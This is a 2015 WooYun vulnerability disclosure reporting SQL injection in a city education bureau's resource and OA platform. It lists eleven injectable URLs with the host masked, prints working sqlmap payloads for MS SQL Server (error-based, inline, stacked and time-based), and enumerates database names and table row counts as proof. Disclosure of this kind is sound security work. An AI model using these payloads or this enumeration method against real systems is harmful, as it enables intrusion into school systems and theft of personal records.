当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0158824

漏洞标题：某市教育局多处SQL注入

相关厂商：cncert国家互联网应急中心

漏洞作者： 路人甲

提交时间：2015-12-09 00:20

修复时间：2016-01-23 15:16

公开时间：2016-01-23 15:16

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-09： 细节已通知厂商并且等待厂商处理中
2015-12-11： 厂商已经确认，细节仅向厂商公开
2015-12-21： 细节向核心白帽子及相关领域专家公开
2015-12-31： 细节向普通白帽子公开
2016-01-10： 细节向实习白帽子公开
2016-01-23： 细节向公众公开

简要描述：

rt

详细说明：

http://**.**.**.**/Sites/Store/GoodsDetils.aspx?autoID=1


http://**.**.**.**/Sites/Resource/IndexList.aspx?XD=2


http://**.**.**.**/txt_more.aspx?groupID=29&&orderbyID=1&&page=1


http://**.**.**.**/District/DisDefault/NewVideo.aspx?order=


http://**.**.**.**/PlatRegister/GetXN.aspx?depID=


http://**.**.**.**/OA/OA_BasicManagement/SetUserDuty.aspx?dutyId=


http://**.**.**.**/Public/FileDownload.aspx?fileID=


http://**.**.**.**/CenterSpace/CenterSpace4YQ/VideoManagerVEdit.aspx?videoID=


http://**.**.**.**/School/SchoolResouse/ResourceShow.aspx?fid=250801


http://**.**.**.**/CenterSpace/CenterSpace4LBB/Recommend_friends.aspx?num=5


http://**.**.**.**/CenterSpace/CenterSpace4DJH/ReplyList.aspx?share_id=


引号报错。

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: XD (GET)
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: XD=2 AND 6009=CONVERT(INT,(SELECT CHAR(113)+CHAR(120)+CHAR(118)+CHAR(112)+CHAR(113)+(S
LECT (CASE WHEN (6009=6009) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(113)+CHAR(11
)+CHAR(113)))
    Type: inline query
    Title: Microsoft SQL Server/Sybase inline queries
    Payload: XD=(SELECT CHAR(113)+CHAR(120)+CHAR(118)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (9729=
729) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(113)+CHAR(112)+CHAR(113))
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: XD=2;WAITFOR DELAY '0:0:5'--
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: XD=2 WAITFOR DELAY '0:0:5'
---
[15:46:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
[15:46:49] [INFO] fetching database names
[15:46:49] [INFO] the SQL query used returns 14 entries
[15:46:49] [INFO] resumed: master
[15:46:49] [INFO] resumed: model
[15:46:49] [INFO] resumed: msdb
[15:46:49] [INFO] resumed: ReportServer
[15:46:49] [INFO] resumed: ReportServerTempDB
[15:46:49] [INFO] resumed: szxy_question
[15:46:49] [INFO] resumed: tempdb
[15:46:49] [INFO] resumed: 教师培训
[15:46:49] [INFO] resumed: 南昌资源公共服务平台
[15:46:49] [INFO] resumed: 南昌资源公共服务平台V3.0
[15:46:49] [INFO] resumed: 区县版_实施
[15:46:49] [INFO] resumed: 云录播平台
[15:46:49] [INFO] resumed: 资源公共服务平台
[15:46:49] [INFO] resumed: 资源公共服务平台V4
available databases [14]:
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] szxy_question
[*] tempdb
[*] 云录播平台
[*] 区县版_实施
[*] 南昌资源公共服务平台
[*] 南昌资源公共服务平台V3.0
[*] 教师培训
[*] 资源公共服务平台
[*] 资源公共服务平台V4

漏洞证明：

Database: szxy_question
+--------------------------------+---------+
| Table                          | Entries |
+--------------------------------+---------+
| dbo.SShiti                     | 700796  |
| dbo.SShitiForZhishidian        | 700796  |
| dbo.SDaan                      | 700104  |
| dbo.MMenhuGongxiang            | 330330  |
| dbo.ZZiyuanForFanwei           | 329741  |
| dbo.view_res_filemanager       | 329394  |
| dbo.ZZiyuanWenjian             | 329393  |
| dbo.view_resfileSubCorres      | 327488  |
| dbo.ZZiyuanForXueke            | 327488  |
| dbo.view_unitInfor             | 139505  |
| dbo.XDanwei                    | 135985  |
| dbo.view_knowledge             | 43551   |
| dbo.XZhishidianZi              | 43534   |
| dbo.XFangwenJiluLog            | 13528   |
| dbo.ZZiyuanForZhuanti          | 10068   |
| dbo.BRizhi                     | 4357    |
| dbo.XZhangjie                  | 3372    |
| dbo.XQuxian                    | 3146    |
| dbo.ZZiyuanJilu                | 3011    |
| dbo.JPingtaiXiaoxiJieguo       | 2525    |
| dbo.tk_question_error          | 2176    |
| dbo.JKaoHeJihuaJieguo          | 2162    |
| dbo.JJueseCaidan               | 1300    |
| dbo.ZZiyuanLiulan              | 1120    |
| dbo.JDongtaiXinxi              | 1098    |
| dbo.BPaikeJiaoxuejihuaD        | 1020    |
| dbo.GRiqi                      | 1000    |
| dbo.JBanjiRenyuanLishi         | 946     |
| dbo.JJibeiRenwuRenyuan         | 805     |
| dbo.JJueseRenyuan              | 793     |
| dbo.JCaidan                    | 689     |
| dbo.JRenyuan                   | 649     |
| dbo.view_new_base_user         | 649     |
| dbo.RPengyouFagnwen            | 602     |
| dbo.ZMingshiYonghuJilu         | 595     |
| dbo.BXuanxiang                 | 550     |
| dbo.JPingtaiXiaoxiTi           | 538     |
| dbo.JPingtaiXiaoxiTou          | 538     |
| dbo.KTongUCZhuyi               | 528     |
| dbo.JJichuPinglun              | 465     |
| dbo.ZZiyuanLiuzhuan            | 460     |
| dbo.KTongShijianBiao           | 458     |
| dbo.ZZiyuanGeren               | 442     |
| dbo.SShitiXueke                | 424     |
| dbo.JJiaoshiKemu               | 423     |
| dbo.view_teacherSubject        | 423     |
| dbo.JJibeiCanyuren             | 384     |
| dbo.BRenshiYonghu              | 350     |
| dbo.XChengshi                  | 342     |
| dbo.XCebie                     | 320     |
| dbo.GTupian                    | 316     |
| dbo.JCaidanZigongneng          | 263     |
| dbo.ZZiyuanQunzu               | 237     |
| dbo.XCuowuLog                  | 236     |
| dbo.SShitiLeixing              | 232     |
| dbo.JBanjiRenyuan              | 223     |
| dbo.AFangwen                   | 219     |
| dbo.SZancunShijuanShiti        | 197     |
| dbo.PPingtaizaixianRenshu      | 172     |
| dbo.ZZiyuanForZhishidian       | 156     |
| dbo.JDengluJilu                | 146     |
| dbo.JQunzhu                    | 143     |
| dbo.SZancunShijuanYangshi      | 138     |
| dbo.ZMingshiXunlianBumen       | 137     |
| dbo.ZMenhuXiazai               | 129     |
| dbo.XDanweiForXueduan          | 123     |
| dbo.SShitiForShijuan           | 111     |
| dbo.BHuodongDengji             | 110     |
| dbo.GZibanjifenxiang           | 110     |
| dbo.GRizhi                     | 98      |
| dbo.JBanji                     | 95      |
| dbo.BGongzuoShiliBuzhou        | 93      |
| dbo.BYoujianGaunxi             | 87      |
| dbo.XKechengMulu               | 86      |
| dbo.JJibeiRenwu                | 83      |
| dbo.KTongZuoyeHuida            | 79      |
| dbo.BGongzuoLiuJiedian         | 75      |
| dbo.BBanjiDianming             | 74      |
| dbo.RPengyouZhuangtai          | 74      |
| dbo.ZZiyuanDongtai             | 74      |
| dbo.WKechengNeirong            | 72      |
| dbo.BWenjuanXuanxiang          | 71      |
| dbo.BWupinRenling              | 71      |
| dbo.KTongUCJieshou             | 71      |
| dbo.SXiazai                    | 71      |
| dbo.AICTJilu                   | 68      |
| dbo.KTongZuoyeWenti            | 68      |
| dbo.SZancunShijuanMokuai       | 68      |
| dbo.BGongzuoShiliJilu          | 67      |
| dbo.BBeikeKechengWenti         | 65      |
| dbo.BBeikeKechengNeirong       | 63      |
| dbo.JJigou                     | 63      |
| dbo.MMenhuPeizhi               | 63      |
| dbo.BTongzhiGuanxi             | 62      |
| dbo.SShijuanMokuai             | 61      |
| dbo.XZhuantiXiangmu            | 61      |
| dbo.MMenhuDongtaiLanwei        | 60      |
| dbo.WWeikeDanan                | 58      |
| dbo.BGongzuoJiedian            | 55      |
| dbo.MMenhuXinwen               | 55      |
| dbo.JQingziGuanxi              | 54      |
| dbo.BBeikeKechengBanji         | 53      |
| dbo.BYonghuZuRenyuan           | 52      |
| dbo.BYoujianFujian             | 52      |
| dbo.JXiezuozuRenyuan           | 52      |
| dbo.JJifenJiu                  | 50      |
| dbo.RPengyouLiulanliang        | 50      |
| dbo.ZZiyuanFanwei              | 50      |
| dbo.KTongZuoyeNeirong          | 49      |
| dbo.WKechengWenTi              | 48      |
| dbo.BBeikeKecheng              | 47      |
| dbo.BGongzuoShili              | 47      |
| dbo.BGongzuoShiliJiedian       | 46      |
| dbo.KTongUCXunbu               | 46      |
| dbo.SShijuanYangshi            | 45      |
| dbo.BWupinGuashi               | 44      |
| dbo.BYoujian                   | 44      |
| dbo.BYoujianFasong             | 43      |
| dbo.MMenhuLishi                | 43      |
| dbo.GLiuyanXinxi               | 42      |
| dbo.XXueke                     | 41      |
| dbo.XZhishidian                | 41      |
| dbo.GRizhiFenlei               | 40      |
| dbo.SZancunShijuan             | 40      |
| dbo.GXiangce                   | 39      |
| dbo.JJuese                     | 39      |
| dbo.KTongZuoyeBanji            | 39      |
| dbo.SShijuan                   | 39      |
| dbo.ZZiyuanGerenForFenlei      | 39      |
| dbo.ZZiyuanGerenFenlei         | 38      |
| dbo.PPingtaiTongzhi            | 37      |
| dbo.BBiaodanJiandan            | 36      |
| dbo.KTongZuoye                 | 36      |
| dbo.WKechengWenjian            | 36      |
| dbo.BCaiDanSubListMe           | 35      |
| dbo.JJibei                     | 35      |
| dbo.BHuodong                   | 34      |
| dbo.BWenjuanWenti              | 34      |
| dbo.JJibeiTaolun               | 34      |
| dbo.XSheng                     | 34      |
| dbo.JBanjiFangwenliang         | 33      |
| dbo.MMenhuLanmu                | 33      |
| dbo.KTongAnpai                 | 32      |
| dbo.MMenhuXinwenFujian         | 32      |
| dbo.BGongzuoShiliFujian        | 31      |
| dbo.BWenjuanDanjuan            | 29      |
| dbo.MMenhuJueseLanmu           | 29      |
| dbo.WKechengBanji              | 29      |
| dbo.BTongzhi                   | 28      |
| dbo.JJibeiBeike                | 28      |
| dbo.ZMingshiXunlianPingguDefen | 28      |
| dbo.ZZiyuanBiaoqian            | 28      |
| dbo.BGerenLunwen               | 26      |
| dbo.BXietongJilu               | 26      |
| dbo.JBanjiZhaopian             | 26      |
| dbo.WKecheng                   | 26      |
| dbo.BBeikeKechengWenjian       | 25      |
| dbo.BBiaodanGonggong           | 25      |
| dbo.KTongZuoHWLeixing          | 25      |
| dbo.JToupiaoXuanxian           | 24      |
| dbo.MMenhuJueseRenyuan         | 24      |
| dbo.MMenhuYouqing              | 23      |
| dbo.BGongzuoLiu                | 22      |
| dbo.BLuntan                    | 22      |
| dbo.BYundongXiangmu            | 22      |
| dbo.ZMenhuShoucang             | 22      |
| dbo.BGerenRongyu               | 21      |
| dbo.BShouyeGuanli              | 21      |
| dbo.JJibeiXiugaiJilu           | 21      |
| dbo.KTongUCZhufu               | 21      |
| dbo.ZMingshiLinshiCeshi        | 21      |
| dbo.BBanjiKaoqin               | 20      |
| dbo.BGongwenGuanxi             | 20      |
| dbo.BKebiaoJiaoshiShiyong      | 20      |
| dbo.JChangliangCanshu          | 20      |
| dbo.JSQLTongbu                 | 20      |
| dbo.ZMenhuShoucangFolder       | 20      |
| dbo.BGerenKeti                 | 19      |
| dbo.BTushu                     | 19      |
| dbo.MMenhuGuanggao             | 19      |
| dbo.STikuLeixing               | 19      |
| dbo.BBanjiDianmingMingxi       | 18      |
| dbo.JQunzhuhuodongguanxi       | 18      |
| dbo.ZMingshiZhuanti            | 18      |
| dbo.BBanjiTongzhi              | 17      |
| dbo.BCaiDanListMe              | 17      |
| dbo.BClassQimojiyu             | 17      |
| dbo.GYingyongZhaopian          | 17      |
| dbo.JJibeiRenwuMobanS          | 17      |
| dbo.BKetangPingjiaMingxi       | 16      |
| dbo.JYonghuDefen               | 16      |
| dbo.BBiaodan                   | 15      |
| dbo.BKaoshiChengji             | 15      |
| dbo.BPaikeJiaoxuejihua         | 15      |
| dbo.BYundongFujian             | 15      |
| dbo.BYundongZhubiao            | 15      |
| dbo.SCaozuo                    | 15      |
| dbo.WKechengMoban              | 15      |
| dbo.XNianji                    | 15      |
| dbo.ZZiyuanGongkaiMiaoshu      | 15      |
| dbo.GTongzhi                   | 14      |
| dbo.GYingyong                  | 14      |
| dbo.JJibeiFujian               | 14      |
| dbo.JZidianShuju               | 14      |
| dbo.SShoucang                  | 14      |
| dbo.XJiaocai                   | 14      |
| dbo.ZZiyuanPingjia             | 14      |
| dbo.ZZiyuanShenheJilu          | 14      |
| dbo.BKaoshiKemu                | 13      |
| dbo.BYunpanMulu                | 13      |
| dbo.AXinwen                    | 12      |
| dbo.BGongzuoLuyouWeituo        | 12      |
| dbo.BXunzhangLeixing           | 12      |
| dbo.JKaoheJihua                | 12      |
| dbo.PPingtaiTupian             | 12      |
| dbo.WeInfo                     | 12      |
| dbo.ZMingshiXunlian            | 12      |
| dbo.GYingyongFenlei            | 11      |
| dbo.JJibeiFansi                | 11      |
| dbo.WKechengFansi              | 11      |
| dbo.XDiquQunzu                 | 11      |
| dbo.ZMingshiAnli               | 11      |
| dbo.ZMingshiXunlianXuexi       | 11      |
| dbo.ZMingshiYouyue             | 11      |
| dbo.BLuntanBankuai             | 10      |
| dbo.BTushuJieyueJilu           | 10      |
| dbo.BKebiaoKeshi               | 9       |
| dbo.BXietongBuzhou             | 9       |
| dbo.ZZiyuanZhishidian          | 9       |
| dbo.BBumen                     | 8       |
| dbo.BGongwen                   | 8       |
| dbo.BTushuLeixing              | 8       |
| dbo.GZhandianxinxi             | 8       |
| dbo.JQunzhuhuodong             | 8       |
| dbo.KTongUCFunjian             | 8       |
| dbo.ZMingshiXunlianTaolun      | 8       |
| dbo.ZZiyuanShipinJilu          | 8       |
| dbo.BHuiyiShi                  | 7       |
| dbo.BPingguHuodongZhishu       | 7       |
| dbo.BRenshiKuozhan             | 7       |
| dbo.KTongZuoyeFujian           | 7       |
| dbo.MMenhuJuese                | 7       |
| dbo.ZMingshiXunlianPinggu      | 7       |
| dbo.ZMingshiXunlianShezhi      | 7       |
| dbo.BPinglunGuanliMinxiDefen   | 6       |
| dbo.BPinglunMobanMinxi         | 6       |
| dbo.BYonghuZu                  | 6       |
| dbo.BZhiwuRenyuan              | 6       |
| dbo.KTongJiangzhang            | 6       |
| dbo.WBofangqiPifu              | 6       |
| dbo.ZMingshiXunlianShipin      | 6       |
| dbo.ZMingshiXunlianWenjian     | 6       |
| dbo.AShujukuBeifen             | 5       |
| dbo.BAnquanRenyuan             | 5       |
| dbo.BCheliang                  | 5       |
| dbo.BGongzuoLuyou              | 5       |
| dbo.BHuiyi                     | 5       |
| dbo.BKebiaoJiaoshiGuanxi       | 5       |
| dbo.BPaikeGongkaike            | 5       |
| dbo.BPingguDengji              | 5       |
| dbo.BPingguXuexiao             | 5       |
| dbo.BRenwu                     | 5       |
| dbo.BTongzhiLeixing            | 5       |
| dbo.BZidingyiZiduan            | 5       |
| dbo.BZuoyeMingxi               | 5       |
| dbo.JToupiaoZhuti              | 5       |
| dbo.SNandu                     | 5       |
| dbo.SRemenSousuo               | 5       |
| dbo.ZMingshiXunlianNeirong     | 5       |
| dbo.ZMingshiXunlianPostLiebiao | 5       |
| dbo.ZMingshiZhuantiWenjian     | 5       |
| dbo.BAnquanQianyi              | 4       |
| dbo.BCheliangSiji              | 4       |
| dbo.BKebiaoJiaoshi             | 4       |
| dbo.BPaikeGongkaikeMingxi      | 4       |
| dbo.BPingguZhishu              | 4       |
| dbo.BRenshiJianli              | 4       |
| dbo.BRenshiLunwen              | 4       |
| dbo.BRenshiRongyu              | 4       |
| dbo.BTongxunLianxiren          | 4       |
| dbo.BWordBiaodan               | 4       |
| dbo.BYunpanZiyuan              | 4       |
| dbo.BZhiwu                     | 4       |
| dbo.BZhiwuGuanxi               | 4       |
| dbo.GHuatiYingyong             | 4       |
| dbo.GKaifazheRenyuan           | 4       |
| dbo.JBanjiXiangce              | 4       |
| dbo.JJibeiZiyuanFujian         | 4       |
| dbo.JToupiaoJieguo             | 4       |
| dbo.JXuekezuRenyuan            | 4       |
| dbo.MMenhuYouqingFenlei        | 4       |
| dbo.SKaoshiLeixing             | 4       |
| dbo.WeChat                     | 4       |
| dbo.ZMingshiPingjiaMubiao      | 4       |
| dbo.ZMingshiXunlianDaan        | 4       |
| dbo.ZMingshiXunlianRenyuan     | 4       |
| dbo.ZMingshiXunlianWenti       | 4       |
| dbo.ZZiYuanPaiHang             | 4       |
| dbo.BAnquanPeixun              | 3       |
| dbo.BCheliangBaoyang           | 3       |
| dbo.BCheliangJiayou            | 3       |
| dbo.BKaoqin                    | 3       |
| dbo.BKebiaoTeshuAnpai          | 3       |
| dbo.BPinglunGuanli             | 3       |
| dbo.BPinglunMoban              | 3       |
| dbo.BRenshiYonghuKuozhan       | 3       |
| dbo.BRenwuLiebiao              | 3       |
| dbo.BShensuAnli                | 3       |
| dbo.BTongxunFenzu              | 3       |
| dbo.BWenjuanMoban              | 3       |
| dbo.BWenjuanShili              | 3       |
| dbo.BXietongGongzuo            | 3       |
| dbo.GFenxiang                  | 3       |
| dbo.JJibeiRenwuMobanM          | 3       |
| dbo.JJifenShangpin             | 3       |
| dbo.JXiezuozu                  | 3       |
| dbo.JXiezuozuLeixing           | 3       |
| dbo.MMenhuBanquan              | 3       |
| dbo.MMenhuBanshi               | 3       |
| dbo.MMenhuBanshiSheding        | 3       |
| dbo.MMenhuTianqi               | 3       |
| dbo.WGerenShipinGuanxi         | 3       |
| dbo.XXueduan                   | 3       |
| dbo.XYunyi                     | 3       |
| dbo.BAnquanAnianC              | 2       |
| dbo.BAnquanAnianM              | 2       |
| dbo.BAnquanJianchaxiangmu      | 2       |
| dbo.BCheliangBaoxian           | 2       |
| dbo.BCheliangNianjian          | 2       |
| dbo.BCheliangWeixiu            | 2       |
| dbo.BCheliangWeizhang          | 2       |
| dbo.BDajishi                   | 2       |
| dbo.BKaoshi                    | 2       |
| dbo.BKebiaoShezhi              | 2       |
| dbo.BPingguHuodong             | 2       |
| dbo.BRenshiGuanxi              | 2       |
| dbo.BRenshiKuozhanXuanxiang    | 2       |
| dbo.BRenwuMoban                | 2       |
| dbo.BWenjuanJieguo             | 2       |
| dbo.BZichanLeixing             | 2       |
| dbo.BZidingyiBiaoming          | 2       |
| dbo.GHuati                     | 2       |
| dbo.GYingyongDalei             | 2       |
| dbo.JJiaoshiLvli               | 2       |
| dbo.JJiaoyuZhuanye             | 2       |
| dbo.JJibeiFansiGuanxi          | 2       |
| dbo.WShipin                    | 2       |
| dbo.ZMingshiGonggao            | 2       |
| dbo.ZMingshiZhuantiWenjianShu  | 2       |
| dbo.BBiaodanDitu               | 1       |
| dbo.BGongzuoJiShu              | 1       |
| dbo.BKaoqinChuchai             | 1       |
| dbo.BKaoqinQingjia             | 1       |
| dbo.BKaoqinShijian             | 1       |
| dbo.BKaoqinWaichu              | 1       |
| dbo.BKebiaoKeshiAnpai          | 1       |
| dbo.BKebiaoXueqi               | 1       |
| dbo.BPingguMoban               | 1       |
| dbo.BPinglunGuanliMinxi        | 1       |
| dbo.BRenshiBiandong            | 1       |
| dbo.BRenshiPeixun              | 1       |
| dbo.BWenjuanDanjuanM           | 1       |
| dbo.BYongpinBangong            | 1       |
| dbo.BZichan                    | 1       |
| dbo.BZichanMingxi              | 1       |
| dbo.BZichanShenqing            | 1       |
| dbo.BZichanZhaopian            | 1       |
| dbo.BZuoye                     | 1       |
| dbo.GShipin                    | 1       |
| dbo.JChangYongGongNeng         | 1       |
| dbo.JZhandianGuanli            | 1       |
| dbo.MMenhuXitongLanmu          | 1       |
| dbo.SMobanYangshi              | 1       |
| dbo.SShitiLinshi               | 1       |
| dbo.WBofangqi                  | 1       |
| dbo.XDiquForBushu              | 1       |
+--------------------------------+---------+


Database: 资源公共服务平台V4
+--------------------------------+---------+
| Table                          | Entries |
+--------------------------------+---------+
| dbo.ZZiyuanLiulan              | 648832  |
| dbo.SShitiForZhishidian        | 514809  |
| dbo.SDaan                      | 514278  |
| dbo.SShiti                     | 512183  |
| dbo.ZZiyuanForFanwei           | 329899  |
| dbo.view_res_filemanager       | 329503  |
| dbo.ZZiyuanWenjian             | 329496  |
| dbo.MMenhuGongxiang            | 329421  |
| dbo.view_resfileSubCorres      | 327589  |
| dbo.ZZiyuanForXueke            | 327589  |
| dbo.JJueseRenyuan              | 147337  |
| dbo.JRenyuan                   | 98137   |
| dbo.view_new_base_user         | 98137   |
| dbo.XFangwenJiluLog            | 77581   |
| dbo.JQunzhu                    | 72510   |
| dbo.JBanji                     | 72340   |
| dbo.JBanjiRenyuan              | 23197   |
| dbo.ZZiyuanGeren               | 11230   |
| dbo.XZhangjie                  | 10382   |
| dbo.ZZiyuanForZhuanti          | 10070   |
| dbo.JJiaoshiKemu               | 9499    |
| dbo.view_teacherSubject        | 9499    |
| dbo.view_knowledge             | 9453    |
| dbo.XZhishidianZi              | 9443    |
| dbo.ZZiyuanJilu                | 9002    |
| dbo.JDengluJilu                | 7339    |
| dbo.BRenshiYonghu              | 6431    |
| dbo.JYonghuDefen               | 5862    |
| dbo.view_unitInfor             | 5430    |
| dbo.JPingtaiXiaoxiJieguo       | 5260    |
| dbo.jTongYiShenFen             | 4759    |
| dbo.BRizhi                     | 4639    |
| dbo.ZMenhuXiazai               | 4167    |
| dbo.XQuxian                    | 3150    |
| dbo.JJueseCaidan               | 2411    |
| dbo.JBanjiRenyuanLishi         | 2262    |
| dbo.XDanweiForXueduan          | 2153    |
| dbo.BPaikeJiaoxuejihuaD        | 1997    |
| dbo.XDanwei                    | 1966    |
| dbo.JJifenJiu                  | 1497    |
| dbo.JPingtaiXiaoxiTi           | 1269    |
| dbo.JPingtaiXiaoxiTou          | 1269    |
| dbo.JDongtaiXinxi              | 1247    |
| dbo.BKaoshiChengji             | 1202    |
| dbo.MMenhuLiuyan               | 1153    |
| dbo.SZancunShijuanShiti        | 1034    |
| dbo.GRiqi                      | 1000    |
| dbo.JCaidan                    | 716     |
| dbo.KTongUCZhuyi               | 698     |
| dbo.ZMingshiYonghuJilu         | 595     |
| dbo.BXuanxiang                 | 569     |
| dbo.SShitiForShijuan           | 495     |
| dbo.XDiquYuansu                | 457     |
| dbo.GTupian                    | 441     |
| dbo.PPingtaizaixianRenshu      | 405     |
| dbo.XKechengMulu               | 403     |
| dbo.AFangwen                   | 390     |
| dbo.BTongzhiGuanxi             | 360     |
| dbo.XChengshi                  | 342     |
| dbo.MMenhuXinwenFujian         | 325     |
| dbo.SZancunShijuanMokuai       | 294     |
| dbo.JJibeiRenwuRenyuan         | 284     |
| dbo.BYoujianGaunxi             | 280     |
| dbo.ZZiyuanForZhishidian       | 269     |
| dbo.MMenhuXinwen               | 268     |
| dbo.JChangYongGongNeng         | 254     |
| dbo.MMenhuDongtaiLanwei        | 251     |
| dbo.BGongzuoShiliBuzhou        | 242     |
| dbo.JjifenRenwuJiLu            | 239     |
| dbo.MMenhuLishi                | 231     |
| dbo.SShitiXueke                | 224     |
| dbo.BZidingyiZiduan            | 221     |
| dbo.ZZiyuanLiuzhuan            | 203     |
| dbo.BGongzuoLiuJiedian         | 199     |
| dbo.MMenhuLanmu                | 192     |
| dbo.BGongzuoShiliJilu          | 183     |
| dbo.JJichuPinglun              | 181     |
| dbo.MMenhuJueseLanmu           | 180     |
| dbo.GRizhi                     | 174     |
| dbo.KTongZuoyeHuida            | 171     |
| dbo.RPengyouFagnwen            | 167     |
| dbo.XCebie                     | 165     |
| dbo.BYonghuZuRenyuan           | 162     |
| dbo.BZuoyeMingxi               | 156     |
| dbo.WWeikeDanan                | 156     |
| dbo.BGongzuoJiedian            | 150     |
| dbo.KTongZuoyeNeirong          | 148     |
| dbo.BGongzuoShiliJiedian       | 138     |
| dbo.SShijuanMokuai             | 138     |
| dbo.BZhiwuRenyuan              | 137     |
| dbo.ZMingshiXunlianBumen       | 137     |
| dbo.SShitiLeixing              | 128     |
| dbo.BGongwenGuanxi             | 127     |
| dbo.LXWenDaLeiXing             | 127     |
| dbo.SZancunShijuanYangshi      | 125     |
| dbo.RPengyouLiulanliang        | 124     |
| dbo.PQunzuRenyuan              | 122     |
| dbo.KTongAnpai                 | 119     |
| dbo.ZZiYuanPaiHang             | 118     |
| dbo.GZibanjifenxiang           | 110     |
| dbo.BBanjiDianmingMingxi       | 109     |
| dbo.JBanjiFangwenliang         | 108     |
| dbo.GXiangce                   | 107     |
| dbo.BGongzuoShili              | 104     |
| dbo.SZancunShijuan             | 104     |
| dbo.ZZiyuanQunzu               | 103     |
| dbo.BZichanMingxi              | 102     |
| dbo.ZZiyuanGongkaiMiaoshu      | 96      |
| dbo.JBanjiZhaopian             | 92      |
| dbo.KTongZuoyeWenti            | 90      |
| dbo.BTongxunLianxiren          | 89      |
| dbo.WeInfo                     | 87      |
| dbo.ZMenhuShoucang             | 87      |
| dbo.BBiaodanJiandan            | 85      |
| dbo.Jyonghuqiandao             | 80      |
| dbo.BTongzhi                   | 76      |
| dbo.WKechengWenTi              | 74      |
| dbo.ZZiyuanDongtai             | 74      |
| dbo.BGongzuoLiu                | 73      |
| dbo.BBeikeKechengBanji         | 72      |
| dbo.GRizhiFenlei               | 72      |
| dbo.BBeikeKechengWenti         | 70      |
| dbo.BKetangPingjiaMingxi       | 70      |
| dbo.JJiFen                     | 68      |
| dbo.BYoujian                   | 65      |
| dbo.JXiezuozuRenyuan           | 65      |
| dbo.SShijuan                   | 64      |
| dbo.BBiaodanGonggong           | 63      |
| dbo.BKebiaoShezhi              | 63      |
| dbo.JJibeiCanyuren             | 63      |
| dbo.XZhuantiXiangmu            | 62      |
| dbo.BBumen                     | 59      |
| dbo.JJuese                     | 58      |
| dbo.BBeikeKecheng              | 57      |
| dbo.BBanjiKaoqin               | 56      |
| dbo.BPingguXuexiao             | 52      |
| dbo.BBiaodan                   | 51      |
| dbo.ZZiyuanFanwei              | 50      |
| dbo.BShouyeGuanli              | 49      |
| dbo.BXietongJilu               | 49      |
| dbo.XXueke                     | 49      |
| dbo.BYoujianFujian             | 48      |
| dbo.BPaikeJiaoxuejihua         | 47      |
| dbo.KTongZuoyeBanji            | 47      |
| dbo.BYoujianFasong             | 46      |
| dbo.BZhiwu                     | 46      |
| dbo.WKecheng                   | 46      |
| dbo.ZMenhuShoucangFolder       | 46      |
| dbo.GZhandianxinxi             | 45      |
| dbo.BXietongBuzhou             | 44      |
| dbo.SXiazai                    | 44      |
| dbo.BKaoshiKemu                | 43      |
| dbo.BLuntan                    | 42      |
| dbo.SShijuanYangshi            | 42      |
| dbo.JJibeiRenwu                | 41      |
| dbo.LXDaoXueJiLu               | 41      |
| dbo.BGongzuoLuyouWeituo        | 40      |
| dbo.SShoucang                  | 38      |
| dbo.XZhishidian                | 38      |
| dbo.JToupiaoXuanxian           | 37      |
| dbo.KTongUCZhufu               | 37      |
| dbo.WKechengBanji              | 37      |
| dbo.BCaiDanSubListMe           | 35      |
| dbo.JChangliangCanshu          | 35      |
| dbo.RPengyouZhuangtai          | 35      |
| dbo.KTongUCJieshou             | 34      |
| dbo.XSheng                     | 34      |
| dbo.JJibeiTaolun               | 32      |
| dbo.JJibeiXiugaiJilu           | 32      |
| dbo.BBanjiDianming             | 31      |
| dbo.BGongwen                   | 31      |
| dbo.BHuodong                   | 31      |
| dbo.BGongzuoLuyou              | 30      |
| dbo.BTongzhiLeixing            | 30      |
| dbo.KTongZuoye                 | 30      |
| dbo.WKechengWenjian            | 30      |
| dbo.BGongzuoShiliFujian        | 29      |
| dbo.BXietongGongzuo            | 29      |
| dbo.ZZiyuanBiaoqian            | 29      |
| dbo.ZMingshiXunlianPingguDefen | 28      |
| dbo.BZidingyiBiaoming          | 27      |
| dbo.Gzan                       | 27      |
| dbo.LXDaoXueKeCheng            | 27      |
| dbo.BKebiaoKeshi               | 26      |
| dbo.BWenjuanXuanxiang          | 26      |
| dbo.JJibeiBeike                | 26      |
| dbo.KTongUCXunbu               | 26      |
| dbo.BPingguDengji              | 25      |
| dbo.BYongpinDengji             | 25      |
| dbo.JBanjiXiangce              | 25      |
| dbo.KTongZuoHWLeixing          | 25      |
| dbo.BLuntanBankuai             | 24      |
| dbo.WKechengMoban              | 24      |
| dbo.BWenjuanDanjuan            | 23      |
| dbo.LXDaoXueHuanJie            | 23      |
| dbo.BHuodongDengji             | 22      |
| dbo.GYingyong                  | 22      |
| dbo.ZZiyuanPingjia             | 22      |
| dbo.BHuiyi                     | 21      |
| dbo.GLiuyanXinxi               | 21      |
| dbo.PQunzu                     | 21      |
| dbo.ZMingshiLinshiCeshi        | 21      |
| dbo.BPingguHuodongZhishu       | 20      |
| dbo.JZhandianGuanli            | 20      |
| dbo.XNianji                    | 20      |
| dbo.BBanjiTongzhi              | 19      |
| dbo.AXinwen                    | 18      |
| dbo.JQunzhuhuodongguanxi       | 18      |
| dbo.ZMingshiZhuanti            | 18      |
| dbo.BCaiDanListMe              | 17      |
| dbo.BYonghuZu                  | 17      |
| dbo.MMenhuGuanggao             | 17      |
| dbo.SCaozuo                    | 17      |
| dbo.MMenhuYouqing              | 16      |
| dbo.BClassQimojiyu             | 15      |
